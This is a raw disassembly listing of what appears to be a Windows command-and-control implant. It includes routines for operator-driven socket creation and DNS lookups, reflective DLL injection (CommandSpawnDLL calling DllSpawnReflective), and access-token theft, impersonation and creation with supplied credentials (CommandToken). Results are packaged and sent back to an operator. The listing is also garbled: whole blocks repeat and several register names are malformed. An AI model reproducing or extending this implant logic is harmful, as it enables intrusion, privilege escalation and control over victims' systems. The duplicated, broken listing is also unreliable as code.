14000e6e2mov r8l, 2977
14000e6e8mov rdx, rsi
14000e6eblea rcx, [rip+0x18ccc]
14000e6f2call printf
14000e6f7xor eax, eax
14000e6f9cmp [rbx+16], 3
14000e6fdsetne al
14000e700add eax, 4
14000e703mov [rbx+16], eax
14000e706jmp 0x14000e70e
14000e708
14000e708loc_14000e708:
14000e708mov rbx, [rbx+48]
14000e70cjmp 0x14000e6d8
14000e70e
14000e70eloc_14000e70e:
14000e70emov rcx, [rsp+72]
14000e713lea rsp, [rbp-56]
14000e717pop rbx
14000e718pop rsi
14000e719pop rdi
14000e71apop r12
14000e71cpop r13
14000e71epop r14
14000e720pop r15
14000e722pop rbp
14000e723jmp 0x140018af0
14000e728
14000e728loc_14000e728:
14000e728mov rcx, [rsp+72]
14000e72dlea rsp, [rbp-56]
14000e731pop rbx
14000e732pop rsi
14000e733pop rdi
14000e734pop r12
14000e736pop r13
14000e738pop r14
14000e73apop r15
14000e73cpop rbp
14000e73djmp 0x140018b90
14000e0e0
14000e0e0CommandSocket:
14000e0e0push rbp
14000e0e1mov rbp, rsp
14000e0e4push r15
14000e0e6push r14
14000e0e8push r13
14000e0eapush r12
14000e0ecpush rdi
14000e0edpush rsi
14000e0eepush rbx
14000e0efmov rbx, rcx
14000e0f2mov ecx, 2540
14000e0f7and rsp, -16
14000e0fbsub rsp, 96
14000e0ffcall PackageCreate
14000e104mov rcx, rbx
14000e107mov [rsp+72], rax
14000e10ccall ParserGetInt32
14000e111mov rcx, [rsp+72]
14000e116mov esi, eax
14000e118mov edx, esi
14000e11acall PackageAddInt32
14000e11fcmp esi, 20
14000e122ja 0x14000e728
14000e128lea rdx, [rip+0x192b1]
14000e12fmovsxd rax, [rdx+4*rsi]
14000e133add rax, rdx
14000e136jmp rax
14000e138lea r9, [rip+0x190bb]
14000e13fmov r8l, 2689
14000e145lea rdx, [rip+0x1efb4]
14000e14clea rcx, [rip+0x17eb5]
14000e153call printf
14000e158mov rcx, rbx
14000e15bcall ParserGetInt32
14000e160mov rcx, rbx
14000e163mov r12l, eax
14000e166call ParserGetInt32
14000e16bmov rcx, rbx
14000e16emov edi, eax
14000e170call ParserGetInt32
14000e175mov rcx, rbx
14000e178mov esi, eax
14000e17acall ParserGetInt32
14000e17fmov [rsp+40], esi
14000e183xor r9l, r9l
14000e186xor ecx, ecx
14000e188mov [rsp+48], eax
14000e18cmov r8l, r12l
14000e18fmov edx, 1
14000e194mov r13l, eax
14000e197mov [rsp+32], edi
14000e19bcall SocketNew
14000e1a0xor edx, edx
14000e1a2mov rcx, [rsp+72]
14000e1a7test rax, rax
14000e1aamov rbx, rax
14000e1adsetne dl
14000e1b0call PackageAddInt32
14000e1b5xor edx, edx
14000e1b7test rbx, rbx
14000e1baje 0x14000e1be
14000e1bcmov edx, [rbx]
14000e1be
14000e1beloc_14000e1be:
14000e1bemov rcx, [rsp+72]
14000e1c3call PackageAddInt32
14000e1c8mov rcx, [rsp+72]
14000e1cdmov edx, r12l
14000e1d0call PackageAddInt32
14000e1d5mov rcx, [rsp+72]
14000e1damov edx, edi
14000e1dccall PackageAddInt32
14000e1e1mov rcx, [rsp+72]
14000e1e6mov edx, esi
14000e1e8call PackageAddInt32
14000e1edmov edx, r13l
14000e1f0jmp 0x14000e66f
14000e1f5lea r9, [rip+0x19012]
14000e1fcmov r8l, 2724
14000e202lea rdx, [rip+0x1eef7]
14000e209lea rcx, [rip+0x17df8]
14000e210call printf
14000e215mov rax, [rip+0x1e154]
14000e21cmov rbx, [rax+2326]
14000e223
14000e223loc_14000e223:
14000e223test rbx, rbx
14000e226je 0x14000e728
14000e22ccmp [rbx+16], 1
14000e230jne 0x14000e272
14000e232mov edx, [rbx]
14000e234mov rcx, [rsp+72]
14000e239call PackageAddInt32
14000e23emov edx, [rbx+20]
14000e241mov rcx, [rsp+72]
14000e246call PackageAddInt32
14000e24bmov edx, [rbx+32]
14000e24emov rcx, [rsp+72]
14000e253call PackageAddInt32
14000e258mov edx, [rbx+36]
14000e25bmov rcx, [rsp+72]
14000e260call PackageAddInt32
14000e265mov edx, [rbx+40]
14000e268mov rcx, [rsp+72]
14000e26dcall PackageAddInt32
14000e272
14000e272loc_14000e272:
14000e272mov rbx, [rbx+48]
14000e276jmp 0x14000e223
14000e278lea rdx, [rip+0x1ee81]
14000e27flea r9, [rip+0x18f9d]
14000e286mov r8l, 2752
14000e28clea rcx, [rip+0x17d75]
14000e293call printf
14000e298mov rcx, rbx
14000e29bcall ParserGetInt32
14000e2a0mov rdx, [rip+0x1e0c9]
14000e2a7mov rdx, [rdx+2326]
14000e2ae
14000e2aeloc_14000e2ae:
14000e2aetest rdx, rdx
14000e2b1je 0x14000e728
14000e2b7cmp [rdx+16], 1
14000e2bbjne 0x14000e2cd
14000e2bdcmp [rdx], eax
14000e2bfjne 0x14000e2cd
14000e2c1mov [rdx+16], 4
14000e2c8jmp 0x14000e70e
14000e2cd
14000e2cdloc_14000e2cd:
14000e2cdmov rdx, [rdx+48]
14000e2d1jmp 0x14000e2ae
14000e2d3lea r9, [rip+0x18f60]
14000e2damov r8l, 2780
14000e2e0lea rdx, [rip+0x1ee19]
14000e2e7lea rcx, [rip+0x17d1a]
14000e2eecall printf
14000e2f3mov rax, [rip+0x1e076]
14000e2famov rax, [rax+2326]
14000e301
14000e301loc_14000e301:
14000e301test rax, rax
14000e304je 0x14000e70e
14000e30acmp [rax+16], 1
14000e30ejne 0x14000e317
14000e310mov [rax+16], 4
14000e317
14000e317loc_14000e317:
14000e317mov rax, [rax+48]
14000e31bjmp 0x14000e301
14000e31dlea r9, [rip+0x18f2c]
14000e324mov r8l, 2801
14000e32alea rdx, [rip+0x1edcf]
14000e331lea rcx, [rip+0x17cd0]
14000e338call printf
14000e33djmp 0x14000e728
14000e342lea r12, [rip+0x1edb7]
14000e349lea r9, [rip+0x18f16]
14000e350mov r8l, 2808
14000e356mov rdx, r12
14000e359lea rcx, [rip+0x17ca8]
14000e360call printf
14000e365xor ecx, ecx
14000e367mov [rsp+80], rcx
14000e36cmov [rsp+88], rcx
14000e371mov rcx, rbx
14000e374call ParserGetInt32
14000e379lea rdx, [rsp+88]
14000e37emov rcx, rbx
14000e381mov esi, eax
14000e383call ParserGetBytes
14000e388mov rdi, [rip+0x1dfe1]
14000e38fmov [rsp+80], rax
14000e394mov rdx, rax
14000e397mov rcx, [rdi+2326]
14000e39e
14000e39eloc_14000e39e:
14000e39etest rcx, rcx
14000e3a1jne 0x14000e3c3
14000e3a3mov r9l, esi
14000e3a6mov r8l, 2826
14000e3acmov rdx, r12
14000e3afxor r13l, r13l
14000e3b2lea rcx, [rip+0x18ebb]
14000e3b9call printf
14000e3bejmp 0x14000e44d
14000e3c3
14000e3c3loc_14000e3c3:
14000e3c3cmp [rcx], esi
14000e3c5jne 0x14000e444
14000e3c7mov r13l, [rcx+16]
14000e3cbxor r9l, r9l
14000e3cemov rcx, [rcx+8]
14000e3d2mov r8l, [rsp+88]
14000e3d7call [rdi+1924]
14000e3ddinc eax
14000e3dfje 0x14000e41a
14000e3e1mov [rsp+32], esi
14000e3e5mov r9l, [rsp+88]
14000e3eamov rdx, r12
14000e3edmov r8l, 2837
14000e3f3lea rcx, [rip+0x18ea5]
14000e3facall printf
14000e3ffmov rcx, [rsp+72]
14000e404call PackageDestroy
14000e409lea rsp, [rbp-56]
14000e40dpop rbx
14000e40epop rsi
14000e40fpop rdi
14000e410pop r12
14000e412pop r13
14000e414pop r14
14000e416pop r15
14000e418pop rbp
14000e419ret
14000e41a
14000e41aloc_14000e41a:
14000e41acall [rdi+1868]
14000e420mov [rsp+32], esi
14000e424mov r9l, [rsp+88]
14000e429mov r8l, 2842
14000e42fmov [rsp+40], eax
14000e433mov rdx, r12
14000e436lea rcx, [rip+0x18e90]
14000e43dcall printf
14000e442jmp 0x14000e44d
14000e444
14000e444loc_14000e444:
14000e444mov rcx, [rcx+48]
14000e448jmp 0x14000e39e
14000e44d
14000e44dloc_14000e44d:
14000e44dmov rcx, [rsp+72]
14000e452mov edx, esi
14000e454call PackageAddInt32
14000e459mov rcx, [rsp+72]
14000e45emov edx, r13l
14000e461call PackageAddInt32
14000e466mov rcx, [rsp+72]
14000e46bxor edx, edx
14000e46dcall PackageAddInt32
14000e472call [rdi+1868]
14000e478mov rcx, [rsp+72]
14000e47dmov edx, eax
14000e47fcall PackageAddInt32
14000e484lea r14, [rip+0x1ec75]
14000e48blea r9, [rip+0x18e7b]
14000e492mov r8l, 2867
14000e498mov rdx, r14
14000e49blea rcx, [rip+0x17b66]
14000e4a2call printf
14000e4a7xor edx, edx
14000e4a9mov rcx, rbx
14000e4acmov [rsp+80], edx
14000e4b0call ParserGetInt32
14000e4b5mov rcx, rbx
14000e4b8mov r12l, eax
14000e4bbcall ParserGetByte
14000e4c0lea rdx, [rsp+80]
14000e4c5mov rcx, rbx
14000e4c8mov edi, eax
14000e4cacall ParserGetBytes
14000e4cfmov rcx, rbx
14000e4d2mov rsi, rax
14000e4d5call ParserGetInt16
14000e4damovsx r13l, ax
14000e4decmp dil, 1
14000e4e2jne 0x14000e4ef
14000e4e4mov esi, [rsi]
14000e4e6xor ebx, ebx
14000e4e8xor edi, edi
14000e4eajmp 0x14000e572
14000e4ef
14000e4efloc_14000e4ef:
14000e4efcmp dil, 3
14000e4f3jne 0x14000e542
14000e4f5mov eax, [rsp+80]
14000e4f9mov r15, [rip+0x1de70]
14000e500mov ecx, 64
14000e505lea edx, [rax+1]
14000e508call [r15+932]
14000e50fmov ecx, [rsp+80]
14000e513mov rdi, rax
14000e516mov rbx, rax
14000e519rep movsb [rdi], [rsi]
14000e51bmov rcx, rax
14000e51exor edi, edi
14000e520call DnsQueryIPv4
14000e525mov esi, eax
14000e527test eax, eax
14000e529jne 0x14000e536
14000e52bmov rcx, rbx
14000e52ecall DnsQueryIPv6
14000e533mov rdi, rax
14000e536
14000e536loc_14000e536:
14000e536mov rcx, rbx
14000e539call [r15+940]
14000e540jmp 0x14000e572
14000e542
14000e542loc_14000e542:
14000e542cmp dil, 4
14000e546jne 0x14000e56c
14000e548mov rax, [rip+0x1de21]
14000e54fmov edx, 16
14000e554mov ecx, 64
14000e559xor ebx, ebx
14000e55bcall [rax+932]
14000e561movups x0, [rsi]
14000e564mov rdi, rax
14000e567movups [rax], x0
14000e56ajmp 0x14000e570
14000e56c
14000e56cloc_14000e56c:
14000e56cxor ebx, ebx
14000e56exor edi, edi
14000e570
14000e570loc_14000e570:
14000e570xor esi, esi
14000e572
14000e572loc_14000e572:
14000e572mov r9l, r12l
14000e575mov r8l, 2919
14000e57bmov rdx, r14
14000e57elea rcx, [rip+0x18d98]
14000e585call printf
14000e58atest esi, esi
14000e58cjne 0x14000e597
14000e58etest rdi, rdi
14000e591je 0x14000e639
14000e597
14000e597loc_14000e597:
14000e597xor eax, eax
14000e599mov [rsp+32], r13l
14000e59emov r9, rdi
14000e5a1mov r8l, esi
14000e5a4mov [rsp+48], eax
14000e5a8mov edx, 2
14000e5adxor ecx, ecx
14000e5afmov [rsp+40], eax
14000e5b3call SocketNew
14000e5b8mov rbx, rax
14000e5bbtest rax, rax
14000e5beje 0x14000e5c7
14000e5c0mov [rax], r12l
14000e5c3xor esi, esi
14000e5c5jmp 0x14000e5f0
14000e5c7
14000e5c7loc_14000e5c7:
14000e5c7mov rax, [rip+0x1dda2]
14000e5cemov r8l, 2933
14000e5d4mov rdx, r14
14000e5d7lea rcx, [rip+0x18d5e]
14000e5demov rax, [rax+2230]
14000e5e5mov esi, [rax+104]
14000e5e8mov r9l, esi
14000e5ebcall printf
14000e5f0
14000e5f0loc_14000e5f0:
14000e5f0mov rcx, [rsp+72]
14000e5f5xor edx, edx
14000e5f7test rbx, rbx
14000e5fasetne dl
14000e5fdcall PackageAddInt32
14000e602mov rcx, [rsp+72]
14000e607mov edx, r12l
14000e60acall PackageAddInt32
14000e60fmov rcx, [rsp+72]
14000e614mov edx, esi
14000e616call PackageAddInt32
14000e61btest rdi, rdi
14000e61eje 0x14000e728
14000e624mov rax, [rip+0x1dd45]
14000e62bmov rcx, rdi
14000e62ecall [rax+940]
14000e634jmp 0x14000e728
14000e639
14000e639loc_14000e639:
14000e639mov r9, rbx
14000e63cmov r8l, 2940
14000e642mov rdx, r14
14000e645lea rcx, [rip+0x18d18]
14000e64ccall printf
14000e651mov rcx, [rsp+72]
14000e656xor edx, edx
14000e658call PackageAddInt32
14000e65dmov rcx, [rsp+72]
14000e662mov edx, r12l
14000e665call PackageAddInt32
14000e66amov edx, 10065
14000e66f
14000e66floc_14000e66f:
14000e66fmov rcx, [rsp+72]
14000e674call PackageAddInt32
14000e679jmp 0x14000e728
14000e67elea rsi, [rip+0x1ea7b]
14000e685lea r9, [rip+0x18d06]
14000e68cmov r8l, 2958
14000e692mov rdx, rsi
14000e695lea rcx, [rip+0x1796c]
14000e69ccall printf
14000e6a1mov rcx, rbx
14000e6a4call ParserGetInt32
14000e6a9mov r8l, 2965
14000e6afmov rdx, rsi
14000e6b2lea rcx, [rip+0x18ce7]
14000e6b9mov r9l, eax
14000e6bcmov [rsp+68], eax
14000e6c0call printf
14000e6c5mov rax, [rip+0x1dca4]
14000e6ccmov r9l, [rsp+68]
14000e6d1mov rbx, [rax+2326]
14000e6d8
14000e6d8loc_14000e6d8:
14000e6d8test rbx, rbx
14000e6dbje 0x14000e70e
14000e6ddcmp [rbx], r9l
14000e6e0jne 0x14000e708
14000e6e2mov r8l, 2977
14000e6e8mov rdx, rsi
14000e6eblea rcx, [rip+0x18ccc]
14000e6f2call printf
14000e6f7xor eax, eax
14000e6f9cmp [rbx+16], 3
14000e6fdsetne al
14000e700add eax, 4
14000e703mov [rbx+16], eax
14000e706jmp 0x14000e70e
14000e708
14000e708loc_14000e708:
14000e708mov rbx, [rbx+48]
14000e70cjmp 0x14000e6d8
14000e70e
14000e70eloc_14000e70e:
14000e70emov rcx, [rsp+72]
14000e713lea rsp, [rbp-56]
14000e717pop rbx
14000e718pop rsi
14000e719pop rdi
14000e71apop r12
14000e71cpop r13
14000e71epop r14
14000e720pop r15
14000e722pop rbp
14000e723jmp 0x140018af0
14000e728
14000e728loc_14000e728:
14000e728mov rcx, [rsp+72]
14000e72dlea rsp, [rbp-56]
14000e731pop rbx
14000e732pop rsi
14000e733pop rdi
14000e734pop r12
14000e736pop r13
14000e738pop r14
14000e73apop r15
14000e73cpop rbp
14000e73djmp 0x140018b90
14000e0e0
14000e742
14000e742 // align 0x10
14000e742 // align 0x10
14000e750
14000e750CommandSpawnDLL:
14000e750push rdi
14000e751xor eax, eax
14000e753push rsi
14000e754push rbx
14000e755mov rbx, rcx
14000e758mov ecx, 12
14000e75dsub rsp, 144
14000e764lea rdi, [rsp+96]
14000e769lea rdx, [rsp+92]
14000e76erep stosd [rdi], eax
14000e770xor eax, eax
14000e772mov rcx, rbx
14000e775mov [rsp+84], eax
14000e779mov [rsp+88], eax
14000e77dmov [rsp+92], eax
14000e781call ParserGetString
14000e786lea rdx, [rsp+84]
14000e78bmov rcx, rbx
14000e78emov rsi, rax
14000e791call ParserGetString
14000e796lea rdx, [rsp+88]
14000e79bmov rcx, rbx
14000e79emov [rsp+72], rax
14000e7a3call ParserGetString
14000e7a8mov ecx, 26
14000e7admov rdi, rax
14000e7b0call PackageCreate
14000e7b5mov [rsp+32], rdi
14000e7bamov edx, [rsp+92]
14000e7bemov rcx, rsi
14000e7c1mov rbx, rax
14000e7c4lea rax, [rsp+96]
14000e7c9mov r9l, [rsp+84]
14000e7cemov r8, [rsp+72]
14000e7d3mov [rsp+48], rax
14000e7d8mov eax, [rsp+88]
14000e7dcmov [rsp+40], rax
14000e7e1call DllSpawnReflective
14000e7e6mov rcx, rbx
14000e7e9mov edx, eax
14000e7ebcall PackageAddInt32
14000e7f0mov rcx, rbx
14000e7f3call PackageTransmit
14000e7f8add rsp, 144
14000e7ffpop rbx
14000e800pop rsi
14000e801pop rdi
14000e802ret
14000e750
14000e750CommandSpawnDLL:
14000e750push rdi
14000e751xor eax, eax
14000e753push rsi
14000e754push rbx
14000e755mov rbx, rcx
14000e758mov ecx, 12
14000e75dsub rsp, 144
14000e764lea rdi, [rsp+96]
14000e769lea rdx, [rsp+92]
14000e76erep stosd [rdi], eax
14000e770xor eax, eax
14000e772mov rcx, rbx
14000e775mov [rsp+84], eax
14000e779mov [rsp+88], eax
14000e77dmov [rsp+92], eax
14000e781call ParserGetString
14000e786lea rdx, [rsp+84]
14000e78bmov rcx, rbx
14000e78emov rsi, rax
14000e791call ParserGetString
14000e796lea rdx, [rsp+88]
14000e79bmov rcx, rbx
14000e79emov [rsp+72], rax
14000e7a3call ParserGetString
14000e7a8mov ecx, 26
14000e7admov rdi, rax
14000e7b0call PackageCreate
14000e7b5mov [rsp+32], rdi
14000e7bamov edx, [rsp+92]
14000e7bemov rcx, rsi
14000e7c1mov rbx, rax
14000e7c4lea rax, [rsp+96]
14000e7c9mov r9l, [rsp+84]
14000e7cemov r8, [rsp+72]
14000e7d3mov [rsp+48], rax
14000e7d8mov eax, [rsp+88]
14000e7dcmov [rsp+40], rax
14000e7e1call DllSpawnReflective
14000e7e6mov rcx, rbx
14000e7e9mov edx, eax
14000e7ebcall PackageAddInt32
14000e7f0mov rcx, rbx
14000e7f3call PackageTransmit
14000e7f8add rsp, 144
14000e7ffpop rbx
14000e800pop rsi
14000e801pop rdi
14000e802ret
14000e750
14000e803
14000e803 // align 0x10
14000e803 // align 0x10
14000e810
14000e810CommandToken:
14000e810push r15
14000e812push r14
14000e814push r13
14000e816push r12
14000e818push rbp
14000e819push rdi
14000e81amov rdi, rcx
14000e81dmov ecx, 40
14000e822push rsi
14000e823push rbx
14000e824sub rsp, 376
14000e82bcall PackageCreate
14000e830mov rcx, rdi
14000e833mov [rsp+64], rax
14000e838call ParserGetInt32
14000e83dmov r8l, 1323
14000e843lea rdx, [rip+0x1e226]
14000e84alea rcx, [rip+0x18328]
14000e851mov r9l, eax
14000e854mov esi, eax
14000e856call printf
14000e85bmov rcx, [rsp+64]
14000e860mov edx, esi
14000e862dec esi
14000e864call PackageAddInt32
14000e869cmp esi, 9
14000e86cja 0x14000f1b0
14000e872lea rdx, [rip+0x18573]
14000e879movsxd rax, [rdx+4*rsi]
14000e87dlea rsi, [rip+0x17784]
14000e884add rax, rdx
14000e887jmp rax
14000e889lea r9, [rip+0x18308]
14000e890mov r8l, 1328
14000e896lea rdx, [rip+0x1e1d3]
14000e89dmov rcx, rsi
14000e8a0call printf
14000e8a5mov rcx, rdi
14000e8a8call ParserGetInt32
14000e8admov ecx, eax
14000e8afcall TokenGet
14000e8b4mov rdi, rax
14000e8b7test rax, rax
14000e8baje 0x14000e8d9
14000e8bcmov rcx, rax
14000e8bfcall ImpersonateTokenInStore
14000e8c4mov rcx, [rsp+64]
14000e8c9mov edx, eax
14000e8cbcall PackageAddInt32
14000e8d0mov rdx, [rdi+8]
14000e8d4jmp 0x14000eccd
14000e8d9
14000e8d9loc_14000e8d9:
14000e8d9lea r9, [rip+0x182cb]
14000e8e0mov r8l, 1342
14000e8e6lea rdx, [rip+0x1e183]
14000e8edmov rcx, rsi
14000e8f0call printf
14000e8f5mov edx, 1
14000e8famov ecx, 3
14000e8ffcall PackageTransmitError
14000e904mov rcx, [rsp+64]
14000e909xor edx, edx
14000e90bcall PackageAddInt32
14000e910xor edx, edx
14000e912jmp 0x14000f057
14000e917lea r9, [rip+0x182a7]
14000e91emov r8l, 1351
14000e924mov rcx, rsi
14000e927xor r12l, r12l
14000e92alea rdx, [rip+0x1e13f]
14000e931call printf
14000e936mov rcx, rdi
14000e939mov [rsp+104], r12
14000e93emov [rsp+112], r12
14000e943call ParserGetInt32
14000e948mov rcx, rdi
14000e94bmov r12l, eax
14000e94ecall ParserGetInt32
14000e953mov ecx, r12l
14000e956movsxd rdx, eax
14000e959call TokenSteal
14000e95elea r9, [rip+0x1826d]
14000e965mov r8l, 1367
14000e96bmov rdi, rax
14000e96etest rax, rax
14000e971je 0x14000e9d5
14000e973xor r8l, r8l
14000e976lea rdx, [rsp+104]
14000e97bmov rcx, rax
14000e97ecall TokenQueryOwner
14000e983lea r9, [rip+0x1826e]
14000e98amov r8l, 1372
14000e990test eax, eax
14000e992je 0x14000e9d5
14000e994xor ebp, ebp
14000e996mov rdx, [rsp+104]
14000e99bmov rcx, rdi
14000e99emov r9l, r12l
14000e9a1mov [rsp+48], rbp
14000e9a6mov r8l, 1
14000e9acmov [rsp+40], rbp
14000e9b1mov [rsp+32], rbp
14000e9b6call TokenAdd
14000e9bbmov ecx, eax
14000e9bdmov edi, eax
14000e9bfcall ImpersonateTokenFromVault
14000e9c4test eax, eax
14000e9c6jne 0x14000e9f8
14000e9c8lea r9, [rip+0x18257]
14000e9cfmov r8l, 1382
14000e9d5
14000e9d5loc_14000e9d5:
14000e9d5mov rcx, rsi
14000e9d8lea rdx, [rip+0x1e091]
14000e9dfcall printf
14000e9e4add rsp, 376
14000e9ebpop rbx
14000e9ecpop rsi
14000e9edpop rdi
14000e9eepop rbp
14000e9efpop r12
14000e9f1pop r13
14000e9f3pop r14
14000e9f5pop r15
14000e9f7ret
14000e9f8
14000e9f8loc_14000e9f8:
14000e9f8mov rax, [rsp+104]
14000e9fdmov r9l, edi
14000ea00mov r8l, 1386
14000ea06lea rdx, [rip+0x1e063]
14000ea0dlea rcx, [rip+0x18232]
14000ea14mov [rsp+32], rax
14000ea19call printf
14000ea1emov r8l, [rsp+112]
14000ea23mov rdx, [rsp+104]
14000ea28mov rcx, [rsp+64]
14000ea2dcall PackageAddBytes
14000ea32mov rcx, [rsp+64]
14000ea37mov edx, edi
14000ea39call PackageAddInt32
14000ea3emov edx, r12l
14000ea41jmp 0x14000f057
14000ea46mov rcx, rsi
14000ea49lea r9, [rip+0x18237]
14000ea50mov r8l, 1395
14000ea56xor edi, edi
14000ea58lea rdx, [rip+0x1e011]
14000ea5flea r13, [rip+0x1822d]
14000ea66call printf
14000ea6bmov r12, [rip+0x1d8fe]
14000ea72mov rsi, [r12+2274]
14000ea7a
14000ea7aloc_14000ea7a:
14000ea7atest rsi, rsi
14000ea7dje 0x14000f1b0
14000ea83mov eax, [rsi+16]
14000ea86mov r9l, edi
14000ea89mov r8l, 1403
14000ea8fmov rcx, r13
14000ea92lea rdx, [rip+0x1dfd7]
14000ea99mov [rsp+48], eax
14000ea9dmov rax, [rsi+8]
14000eaa1mov [rsp+40], rax
14000eaa6mov rax, [rsi]
14000eaa9mov [rsp+32], rax
14000eaaecall printf
14000eab3mov rcx, [rsp+64]
14000eab8mov edx, edi
14000eabacall PackageAddInt32
14000eabfmov edx, [rsi]
14000eac1mov rcx, [rsp+64]
14000eac6call PackageAddInt32
14000eacbmov rdx, [rsi+8]
14000eacfmov rcx, [rsp+64]
14000ead4call PackageAddWString
14000ead9mov edx, [rsi+16]
14000eadcmov rcx, [rsp+64]
14000eae1call PackageAddInt32
14000eae6movsx edx, [rsi+20]
14000eaeamov rcx, [rsp+64]
14000eaefcall PackageAddInt32
14000eaf4mov edx, [r12+2290]
14000eafctest edx, edx
14000eafeje 0x14000eb13
14000eb00mov rax, [r12+2282]
14000eb08xor edx, edx
14000eb0amov rbx, [rsi]
14000eb0dcmp [rax], rbx
14000eb10sete dl
14000eb13
14000eb13loc_14000eb13:
14000eb13mov rcx, [rsp+64]
14000eb18inc edi
14000eb1acall PackageAddInt32
14000eb1fmov rsi, [rsi+48]
14000eb23jmp 0x14000ea7a
14000eb28lea rdx, [rip+0x1df41]
14000eb2flea r9, [rip+0x181a7]
14000eb36mov rcx, rsi
14000eb39xor ebx, ebx
14000eb3bmov r8l, 1422
14000eb41call printf
14000eb46mov rcx, rdi
14000eb49mov [rsp+92], ebx
14000eb4dmov [rsp+96], ebx
14000eb51mov [rsp+100], ebx
14000eb55call ParserGetInt32
14000eb5amov rcx, [rsp+64]
14000eb5fmov r12l, eax
14000eb62mov edx, eax
14000eb64call PackageAddInt32
14000eb69test r12l, r12l
14000eb6cje 0x14000ec85
14000eb72mov rcx, rsi
14000eb75lea r9, [rip+0x18177]
14000eb7cmov r8l, 1436
14000eb82lea rdx, [rip+0x1dee7]
14000eb89lea r13, [rsp+92]
14000eb8ecall printf
14000eb93lea rdi, [rsp+120]
14000eb98call TokenCurrentHandle
14000eb9dxor r9l, r9l
14000eba0xor r8l, r8l
14000eba3mov edx, 3
14000eba8mov rbp, [rip+0x1d7c1]
14000ebafmov rcx, rax
14000ebb2mov [rsp+32], r13
14000ebb7mov r12, rax
14000ebbacall [rbp+1340]
14000ebc0mov eax, [rsp+92]
14000ebc4mov ecx, 64
14000ebc9lea edx, [rax+1]
14000ebccshl rdx, 4
14000ebd0call [rbp+932]
14000ebd6xor r11l, r11l
14000ebd9mov ecx, 61
14000ebdemov rsi, rax
14000ebe1xor eax, eax
14000ebe3mov [rsp+104], r11
14000ebe8mov [rsp+112], r11
14000ebedrep stosd [rdi], eax
14000ebeftest rsi, rsi
14000ebf2je 0x14000f1b0
14000ebf8mov [rsp+32], r13
14000ebfdmov r9l, [rsp+92]
14000ec02mov r8, rsi
14000ec05mov rcx, r12
14000ec08mov edx, 3
14000ec0dcall [rbp+1340]
14000ec13test eax, eax
14000ec15je 0x14000ec2a
14000ec17lea rdi, [rsi+4]
14000ec1bxor r12l, r12l
14000ec1elea r14, [rsp+96]
14000ec23lea r13, [rsp+104]
14000ec28jmp 0x14000ec44
14000ec2a
14000ec2aloc_14000ec2a:
14000ec2amov rdi, rsi
14000ec2dmov ecx, 16
14000ec32xor eax, eax
14000ec34rep stosb [rdi], al
14000ec36mov rcx, rsi
14000ec39call [rbp+940]
14000ec3fjmp 0x14000f1b0
14000ec44
14000ec44loc_14000ec44:
14000ec44cmp r12l, [rsi]
14000ec47jae 0x14000ec2a
14000ec49mov r9, r14
14000ec4cmov r8, r13
14000ec4fmov rdx, rdi
14000ec52xor ecx, ecx
14000ec54mov [rsp+96], 260
14000ec5cinc r12l
14000ec5fadd rdi, 12
14000ec63call [rbp+1556]
14000ec69mov rcx, [rsp+64]
14000ec6emov rdx, r13
14000ec71call PackageAddString
14000ec76mov edx, [rdi-4]
14000ec79mov rcx, [rsp+64]
14000ec7ecall PackageAddInt32
14000ec83jmp 0x14000ec44
14000ec85
14000ec85loc_14000ec85:
14000ec85lea r9, [rip+0x18073]
14000ec8cmov r8l, 1460
14000ec92mov rcx, rsi
14000ec95lea rdx, [rip+0x1ddd4]
14000ec9ccall printf
14000eca1lea rdx, [rsp+100]
14000eca6mov rcx, rdi
14000eca9call ParserGetString
14000ecaemov edx, 1
14000ecb3mov rcx, rax
14000ecb6mov rsi, rax
14000ecb9call TokenSetPrivilege
14000ecbemov rcx, [rsp+64]
14000ecc3mov edx, eax
14000ecc5call PackageAddInt32
14000eccamov rdx, rsi
14000eccd
14000eccdloc_14000eccd:
14000eccdmov rcx, [rsp+64]
14000ecd2call PackageAddString
14000ecd7jmp 0x14000f1b0
14000ecdclea r9, [rip+0x18027]
14000ece3mov r8l, 1477
14000ece9mov rcx, rsi
14000ececlea rdx, [rip+0x1dd7d]
14000ecf3call printf
14000ecf8xor r10l, r10l
14000ecfbmov rcx, rdi
14000ecfelea rdx, [rsp+104]
14000ed03mov [rsp+96], r10l
14000ed08mov [rsp+100], r10l
14000ed0dmov [rsp+104], r10l
14000ed12call ParserGetWString
14000ed17mov rcx, rdi
14000ed1alea rdx, [rsp+96]
14000ed1fmov [rsp+72], rax
14000ed24call ParserGetWString
14000ed29mov rcx, rdi
14000ed2clea rdx, [rsp+100]
14000ed31mov rsi, rax
14000ed34call ParserGetWString
14000ed39mov r12l, [rsp+96]
14000ed3emov [rsp+92], 92
14000ed45mov edi, [rsp+104]
14000ed49mov r14, rax
14000ed4ctest r12l, r12l
14000ed4fje 0x14000f1b0
14000ed55cmp [rsp+100], 0
14000ed5aje 0x14000f1b0
14000ed60test edi, edi
14000ed62je 0x14000f1b0
14000ed68mov [rsp+40], rax
14000ed6dmov r9, [rsp+72]
14000ed72mov r8l, 1496
14000ed78lea rdx, [rip+0x1dcf1]
14000ed7fmov [rsp+32], rsi
14000ed84lea rcx, [rip+0x17f8b]
14000ed8bcall printf
14000ed90mov r8, [rsp+72]
14000ed95mov rdx, r14
14000ed98mov rcx, rsi
14000ed9bcall TokenMake
14000eda0mov rbx, rax
14000eda3test rax, rax
14000eda6je 0x14000f1b0
14000edacmov r15, [rip+0x1d5bd]
14000edb3lea ebp, [r12+rdi+1]
14000edb8mov ecx, 64
14000edbdmov rdx, rbp
14000edc0call [r15+932]
14000edc7mov rcx, rbp
14000edcamov r12, rax
14000edcdmov rdi, rax
14000edd0xor eax, eax
14000edd2rep stosb [rdi], al
14000edd4mov rdx, [rsp+72]
14000edd9mov rcx, r12
14000eddccall StringConcatW
14000ede1lea rdx, [rsp+92]
14000ede6mov rcx, r12
14000ede9call StringConcatW
14000edeemov rdx, rsi
14000edf1mov rcx, r12
14000edf4call StringConcatW
14000edf9mov edx, [rsp+96]
14000edfdmov ecx, 64
14000ee02call [r15+932]
14000ee09mov edx, [rsp+100]
14000ee0dmov ecx, 64
14000ee12mov rbp, rax
14000ee15call [r15+932]
14000ee1cmov rdi, rbp
14000ee1fmov edx, [rsp+104]
14000ee23mov ecx, 64
14000ee28mov r13, rax
14000ee2bcall [r15+932]
14000ee32mov ecx, [rsp+96]
14000ee36mov r8l, 2
14000ee3crep movsb [rdi], [rsi]
14000ee3emov rdi, r13
14000ee41mov rsi, r14
14000ee44mov ecx, [rsp+100]
14000ee48rep movsb [rdi], [rsi]
14000ee4amov rsi, [rsp+72]
14000ee4fmov rdi, rax
14000ee52mov ecx, [rsp+104]
14000ee56rep movsb [rdi], [rsi]
